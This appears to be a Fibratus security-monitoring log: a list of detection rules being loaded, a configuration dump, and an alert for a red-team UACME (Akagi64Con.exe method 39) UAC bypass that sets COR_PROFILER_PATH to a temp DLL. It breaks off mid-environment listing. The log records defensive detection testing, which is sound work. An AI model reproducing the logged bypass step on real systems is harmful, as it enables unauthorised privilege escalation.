msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T18:28:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-04T18:28:40+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-04T18:28:40+01:00 level=info msg=bootstrapping with pid 18080. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T18:28:40+01:00 level=warning msg=unable to download loldrivers.io dataset: Get "https://www.loldrivers.io/api/drivers.json": dial tcp: lookup www.loldrivers.io: no such host source=loldrivers/client.go:127 +time=2025-12-04T18:28:40+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false port=>25 use-template=>true to=>[] content-type=>text/html] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ buffer-size=>512 enable-handle=>false enable-mem=>true min-buffers=>16 enable-image=>true enable-fileio=>true enable-net=>true flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-audit-api=>true stack-enrichment=>true enable-threadpool=>false enable-thread=>true enable-registry=>true enable-vamap=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-age=>0 formatter=>text max-size=>100 level=>info log-stdout=>true] + output ......................... [ elasticsearch=>[ sniff=>false index-name=>fibratus healthcheck-interval=>10s enabled=>false flush-period=>1s bulk-workers=>1 gzip-compression=>false timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck=>true template-name=>fibratus trace-log=>false healthcheck-timeout=>5s] http=>[ endpoints=>[] enable-gzip=>false enabled=>false timeout=>5s tls-insecure-skip-verify=>false method=>POST serializer=>json] amqp=>[ routing-key=>fibratus url=>amqp://localhost:5672 exchange=>fibratus exchange-type=>topic durable=>false passive=>false delivery-mode=>transient tls-insecure-skip-verify=>false vhost=>/ enabled=>false timeout=>5s] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false scan-timeout=>10s skip-allocs=>false skip-mmaps=>false excluded-files=>[] enabled=>false fastscan=>true excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-04T18:28:40+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T18:28:42+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T18:29:01+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 12329116 + Pid: 7724 + Tid: 10956 + Type: RegSetValue + CPU: 4 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-04 18:28:54.1192414 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffd605d6c144f0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 7724 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files 